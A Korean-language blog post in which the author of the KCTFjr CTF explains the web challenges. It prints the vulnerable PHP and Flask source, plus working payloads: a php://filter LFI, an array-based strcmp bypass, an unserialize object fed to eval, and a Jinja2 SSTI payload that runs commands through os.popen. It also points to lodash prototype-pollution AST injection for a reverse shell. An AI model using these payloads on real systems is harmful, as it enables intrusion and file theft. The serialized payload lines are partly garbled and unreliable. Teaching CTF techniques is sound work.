메인 컨텐츠로 넘어가기

KCTFjr Write up(Author view)

Robots

/robots.txt 접속시 숨겨진 파일 하나를 알 수 있다.

해당 파일에 접근하면 클리어.

Local-Include

<?php
if(isset($_GET['view-source'])){
    highlight_file(__FILE__);
    die();
}

$dest = $_GET['page'];
if(!isset($dest))
    $dest = "home";

if(in_array($dest,['dog','cat','home']))
    include "pages/".$dest.".php";
else
    include $dest;
?>

in_array에 없는 경로를 요청할 경우, 직접적으로 include한다.

PHP Wrapper를 이욯하여 LFI로 flag.php를 뽑아오면 플래그가 있다.

https://www.php.net/manual/en/wrappers.php

https://www.php.net/manual/en/wrappers.php.php

payload:

?page=php://filter/convert.base64-encode/resource=flag.php

Trick

<?php
include 'flag.php';

if(isset($_GET['view-source'])){
    highlight_file(__FILE__);
    die();
}

if(!strcmp($_GET['flag'],$flag)){
    echo $flag;
}else{
    echo "wrong flag";
}

php의 strcmp함수에 취약점이 존재한다.(구글에 php strcmp만 쳐도 자동완성에 뜬다..)

https://hackability.kr/entry/PHP-strcmp-%EC%B7%A8%EC%95%BD%EC%A0%90%EC%9D%84-%EC%9D%B4%EC%9A%A9%ED%95%9C-%EC%9D%B8%EC%A6%9D-%EC%9A%B0%ED%9A%8C

Payload:

?flag[]=

Serial

<?php
include 'flag.php';

if(isset($_GET['view-source'])){
    highlight_file(__FILE__);
    die();
}

$obj = $_GET['obj'];
$obj = unserialize($obj);
if(isset($obj->link))
    eval($obj->link);

?>

PHP의 unserialize 취약점을 이용하는 문제.

unserialize의 특성상 serialize를 하면서 object를 생성한다. 따라서, dir()과 같은 php내장 클래스를 이용하여 페이로드를 구축하면 $obj->link에 원하는 값을 넣을 수 있다.

Payload:

sqrtrev@Kims-MacBook-Pro ~ % php -a
Interactive shell

php > $t = dir('/');
php > $t->link = "highlight_file('flag.php');";
php > echo serialize($t);
O:9:"Directory":3:O:9:"Directory":3:{s:4:"path";s:1:"/";s:6:"handle";i:0;s:4:"link";s:27:"highlight_file('flag.php');";}
php >

Final:

?obj={s:4:"path";s:1:"/";s:6:"handle";i:0;s:4:"link";s:27:"highlight_file('flag.php');";}

First RCE

본문에 적혀있는것과 같이, Jinja2 엔진에서 발생하는 취약점이다.

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/')
def index():
    return 'Welcome!'

@app.errorhandler(404)
def page_not_found(e):
    template = '<h1>404 Page Not found</h1>\n<hr>\n'+request.path+' is not found on server'
    return render_template_string(template), 404

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

404 페이지에서 없는 페이지 주소를 출력해주는데, 이 출력 렌더링 과정에서 취약점이 발생한다. /{{7*7}} 을 해보면, 49가 출력됨을 알 수 있고, 구글에 SSTI Payload를 검색해보면 Payload All The Things에 쓸만한 페이로드가 많이 있다.

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection

Payload:

/{{config.__class__.__init__.__globals__['os'].popen('/flag').read()}}

The Trigger

{
  "name": "the-trigger",
  "version": "1.0.0",
  "description": "Web task",
  "main": "app.js",
  "dependencies": {
    "express": "4.17.1",
    "body-parser": "1.19.0",
    "handlebars": "4.7.6",
    "lodash": "4.17.15"
  },
  "devDependencies": {},
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "author": "sqrtrev",
  "license": "ISC"
}

package.json을 보면, lodash 4.17.15버전을 사용중인데, 해당 버전은 Prototype Pollution에 취약한 1-day vulnerability를 가진 모듈이다. 해당 모듈을 이용하여, POSIX님이 최근에 발표하신 AST Injection을 엮으면 된다.

https://blog.p6.is/AST-Injection/

AST Injection은 Prototype Pollution이 전역에서 발생할때, view engine에서 렌더링 과정에서 우리가 덮어 쓴 내용이 실행되면서 reverse shell을 얻을 수 있다.

자세한 페이로드는 위 블로그를 참고하자.

컨텐츠 처음으로 돌아가기